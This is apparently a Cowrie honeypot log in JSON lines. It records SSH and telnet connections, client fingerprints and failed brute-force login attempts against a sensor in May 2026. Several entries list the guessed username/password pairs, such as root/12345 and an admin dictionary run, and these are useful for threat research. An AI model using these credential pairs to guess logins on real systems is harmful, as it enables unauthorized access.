{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:12:51.774290Z","src_ip":"103.88.76.27","session":"073581d39083","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git321","message":"login attempt [git/git321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:12:52.641193Z","src_ip":"103.88.76.27","session":"073581d39083","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:12:53.853606Z","src_ip":"103.88.76.27","session":"073581d39083","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345","message":"login attempt [root/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:12:53.903550Z","src_ip":"47.239.15.75","session":"d8c4c42af99b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"100.7","message":"Connection lost after 100.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:12:55.111174Z","src_ip":"47.239.15.75","session":"d8c4c42af99b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":44580,"dst_ip":"159.203.135.109","dst_port":22,"session":"cf40bfe6695d","protocol":"ssh","message":"New connection: 47.239.15.75:44580 (159.203.135.109:22) [session: cf40bfe6695d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:13:02.227742Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":60398,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9f13cb3e61f","protocol":"telnet","message":"New connection: 45.58.127.90:60398 (10.17.0.5:23) [session: b9f13cb3e61f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:13:03.349760Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:13:03.832363Z","src_ip":"47.239.15.75","session":"cf40bfe6695d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:13:06.081846Z","src_ip":"47.239.15.75","session":"cf40bfe6695d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":52602,"dst_ip":"159.203.135.109","dst_port":22,"session":"442db801498f","protocol":"ssh","message":"New connection: 47.239.15.75:52602 (159.203.135.109:22) [session: 442db801498f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:13:13.881233Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:13:13.936227Z","src_ip":"47.239.15.75","session":"442db801498f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":36918,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b69c4795bac","protocol":"ssh","message":"New connection: 194.59.206.2:36918 (10.17.0.5:22) [session: 3b69c4795bac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:13:22.627989Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:13:22.639533Z","src_ip":"194.59.206.2","session":"3b69c4795bac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:13:22.730561Z","src_ip":"194.59.206.2","session":"3b69c4795bac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:13:22.826604Z","src_ip":"194.59.206.2","session":"3b69c4795bac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":41830,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d8771fdd965","protocol":"ssh","message":"New connection: 2.57.121.112:41830 (159.203.135.109:22) [session: 2d8771fdd965]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:13:24.205881Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:13:24.210620Z","src_ip":"2.57.121.112","session":"2d8771fdd965","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:13:24.312096Z","src_ip":"2.57.121.112","session":"2d8771fdd965","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"redknapp","message":"login attempt [admin/redknapp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:13:24.790387Z","src_ip":"2.57.121.112","session":"2d8771fdd965","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"redfred","message":"login attempt [admin/redfred] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:13:25.897277Z","src_ip":"2.57.121.112","session":"2d8771fdd965","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"redeemed","message":"login attempt [admin/redeemed] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:13:27.002743Z","src_ip":"2.57.121.112","session":"2d8771fdd965","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.84407591819763,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:13:27.411291Z","src_ip":"45.58.127.90","session":"d90e06adab13","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"redcloud","message":"login attempt [admin/redcloud] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:13:28.107645Z","src_ip":"2.57.121.112","session":"2d8771fdd965","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"raygun","message":"login attempt [admin/raygun] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:13:29.212736Z","src_ip":"2.57.121.112","session":"2d8771fdd965","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:13:30.318305Z","src_ip":"2.57.121.112","session":"2d8771fdd965","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.00333499908447,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:13:42.352978Z","src_ip":"45.58.127.90","session":"b9f13cb3e61f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.88.76.27","src_port":56470,"dst_ip":"159.203.135.109","dst_port":22,"session":"fc0c1e8936c1","protocol":"ssh","message":"New connection: 103.88.76.27:56470 (159.203.135.109:22) [session: fc0c1e8936c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:13:45.429151Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:13:45.433622Z","src_ip":"103.88.76.27","session":"fc0c1e8936c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:13:45.683546Z","src_ip":"103.88.76.27","session":"fc0c1e8936c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"welcome1","message":"login attempt [ubuntu/welcome1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:13:46.706127Z","src_ip":"103.88.76.27","session":"fc0c1e8936c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.125.94.71","src_port":58678,"dst_ip":"159.203.135.109","dst_port":22,"session":"a480d5df59c4","protocol":"ssh","message":"New connection: 202.125.94.71:58678 (159.203.135.109:22) [session: a480d5df59c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:13:47.475028Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:13:47.480360Z","src_ip":"202.125.94.71","session":"a480d5df59c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:13:47.745688Z","src_ip":"202.125.94.71","session":"a480d5df59c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:13:47.956317Z","src_ip":"103.88.76.27","session":"fc0c1e8936c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git321","message":"login attempt [git/git321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:13:48.811369Z","src_ip":"202.125.94.71","session":"a480d5df59c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:13:50.074202Z","src_ip":"202.125.94.71","session":"a480d5df59c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":56262,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8c32a7780c0","protocol":"telnet","message":"New connection: 45.58.127.90:56262 (10.17.0.5:23) [session: e8c32a7780c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:13:57.878747Z"}
{"eventid":"cowrie.session.closed","duration":2.1475486755371094,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:14:00.026179Z","src_ip":"45.58.127.90","session":"e8c32a7780c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.65.194.160","src_port":57150,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5eefb67631f","protocol":"telnet","message":"New connection: 20.65.194.160:57150 (10.17.0.5:23) [session: d5eefb67631f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:14:08.636862Z"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":59206,"dst_ip":"159.203.135.109","dst_port":22,"session":"5cd2b4c43588","protocol":"ssh","message":"New connection: 47.239.15.75:59206 (159.203.135.109:22) [session: 5cd2b4c43588]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:14:17.002935Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:14:18.188517Z","src_ip":"47.239.15.75","session":"5cd2b4c43588","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:14:18.390464Z","src_ip":"47.239.15.75","session":"5cd2b4c43588","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.050870656967163,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:14:18.687620Z","src_ip":"20.65.194.160","session":"d5eefb67631f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.65.194.160","src_port":41170,"dst_ip":"10.17.0.5","dst_port":23,"session":"cbbc482fecc8","protocol":"telnet","message":"New connection: 20.65.194.160:41170 (10.17.0.5:23) [session: cbbc482fecc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:14:18.732641Z"}
{"eventid":"cowrie.session.closed","duration":0.06112051010131836,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:14:18.793616Z","src_ip":"20.65.194.160","session":"cbbc482fecc8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:14:20.070683Z","src_ip":"47.239.15.75","session":"6fb21f13f3fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.88.76.27","src_port":48976,"dst_ip":"159.203.135.109","dst_port":22,"session":"83522c9775be","protocol":"ssh","message":"New connection: 103.88.76.27:48976 (159.203.135.109:22) [session: 83522c9775be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:14:39.567977Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:14:39.572896Z","src_ip":"103.88.76.27","session":"83522c9775be","protocol":"ssh"}
